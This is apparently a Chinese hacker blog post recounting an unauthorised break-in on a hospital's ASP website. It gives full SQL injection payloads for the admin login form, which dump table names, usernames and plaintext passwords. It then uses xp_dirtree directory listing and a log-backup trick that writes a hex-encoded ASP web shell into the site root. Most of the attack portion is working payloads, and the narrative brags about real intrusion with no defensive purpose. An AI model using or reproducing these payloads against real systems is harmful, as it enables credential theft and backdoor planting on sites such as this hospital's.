打開網站(網址就不發了,只講過程),是一個醫院的站點,看了下網站程序,是asp的,嘻嘻,asp的站日的比較多,對它有點親切感,隨便點了一個新聞鏈接,加上一個單引號,彈出了一個對話框
看來有點防范啊,為了確定是否是防注入系統,如果是的話,我們就可以試試cookie注入了,于是,我換個方法檢測了下,就是 http://www.xxx.com/kssz.asp?BcgID=104&ThatBcgID=65&MainBcgID=102-0 在數字后加上減0,回車,彈出相同的提示對話框,分別提交 http://www.xxx.com/kssz.asp?BcgID=104&ThatBcgID=65-0&MainBcgID=102 http://www.xxx.com/kssz.asp?BcgID=104-0&ThatBcgID=65&MainBcgID=102 都是相同的提示,看來是程序過濾了,非防注入。 然后我就打開Google,搜索了下帶有asp?id=的鏈接,結果都是一樣,那注入就沒戲了。 接下來,俺就拿出自己寫的掃描工具掃描了下常見上傳點,也沒有發現,看來,只能向后臺輸入框進軍了哈。 在后臺輸入一個單引號,隨便輸入密碼,回車,報錯了,哈

看來朋友說的沒錯,有戲啊,而且是mssql的,幸虧是mssql的,不然還拿不下呢(原因,后面會提到) 接著,按照常規步驟,開始注入了,但是俺是懶人,想偷點懶,于是抓包,想通過get方式來注入,這樣可以讓工具來代替人力啊,哈哈,

于是,組合下內容 www.xxx.com/login/default.asp?Submit=%B5%C7+%C2%BC&Userpwd=1& Username=1 可是老天就是不配合俺,這個方法在這里不行啊。哎,看來只能手工了,這個對俺來說相當痛苦了。 米辦法,老實的一步一步來了。在輸入框里輸入’ having 1=1 and ‘’=’ 回車,報錯

嘻嘻,我得意的笑,這里,我們得到了表名和字段名,繼續爆,輸入’group by user_info.user_id having 1=1 and ‘’=’

爆出了user_name,繼續爆,’group by user_info.user_id ,user_info.user_name having 1=1 and ‘’=’

到這里就差不多了,我們要的關鍵字段都有了,表名也有了,該是爆內容了,輸入
’and 1=(select user_name from user_info) and ‘’=’ 爆出了用戶名

然后用相同方法,輸入’and 1=(select user_pwd from user_info) and ‘’=’ 爆出了密碼,哈哈發現密碼還是不加密的,那就更好了。 直接拿起密碼進入后臺

以為接下來就容易拿到shell了,隨便找了一個上傳點,試了下直接傳,提示成功,哈哈,開心了,心道,今天rp不錯的嘛,剛剛在手工那里費了點時間,現在剛剛補回來了,直接拿到shell了,于是拿著地址去打開,結果,當場吐血,為啥,因為上傳路徑的文件夾不讓執行腳本啊

心里大罵這個管理員,shit,shit,shit他JJ,讓老子白高興一場。找了下其他圖片的文件夾路徑,都是一樣,不讓執行腳本。哎,蒼天那,大地啊,你怎么可以這樣對我啊。以為沒辦法那shell了,準備放棄了,和朋友一說,他說,是不是可以在后臺進行差異備份拿shell呢,我一聽,一拍大腿,對啊,MMB,我怎么沒想到,哎,居然把后臺的注入點是mssql這茬給忘了,鄙視下自己。 要差異備份首先要知道站點,哎,俺最頭痛的手工又要開始了,話說到這里,插一句話,希望各位一定要好好學習sql哦,工具是死的,人是活的,手工厲害啊,雖然麻煩(觀眾:又開始裝逼了,小心出門被雷劈啊…..我:哈哈,俺不怕,俺是絕緣體,沒事沒事…..忽然,天空一陣巨響,小影子被雷劈了。。。55555555,今天沒看黃歷啊) 開始猜路徑了,過程是:建立一個表,通過xp_dirtree組件,把列出來的內容插入臨時表,然后我們在一個一個把內容從臨時表里讀出來。 首先,我們建立一個表,輸入’ create talbe tmp(id int identity(1,1),path varchar(255),depth int,isfile int ) and ‘’=’ 然后,我們要確認下我們的表是否建立成功了,不然如果不成功的話,我們后面做的都是無用功了,哈。輸入’ select * from tmp having 1=1 and ‘’=’,報錯了,說明建表成功

接下來,就是插入內容了 ‘insert into tmp exec master.dbo.xp_dirtree ‘d:\’,1,1 and ‘’=’ 接著,就可以列目錄了,輸入 ‘ and 1=(select path from tmp where id=N) and ‘’=’ (N=1,2,3,4,5,……) 就列出了路徑

改變N的值就可以列出了,重復過程就不寫了,最后知道路徑是D:\website\xxx.com\ 接下來就是進行差異備份了,在輸入框輸入一次輸入差異備份語句 'alter database hz3yy set RECOVERY FULL-- 'Drop table [banlg];create table [dbo].[banlg] ([cmd] [image])-- 'declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x737335393536 backup log @a to disk=@s with init-- 'insert into banlg(cmd) values(0x3C256578656375746528726571756573742822636D64222929253E)-- 'declare @a sysname,@s varchar(4000) select @a=db_name(),@s=0x643A5C776562736974655C687A3379792E636F6D5C772E617370 backup log @a to disk=@s-- 'Drop table [banlg]—
然后輸入網址,輸入http://www.xxx.com/ww.asp,熟悉的亂碼界面出現了,哈哈,然后就是傳shell了,圖就不截了,嘻嘻。 |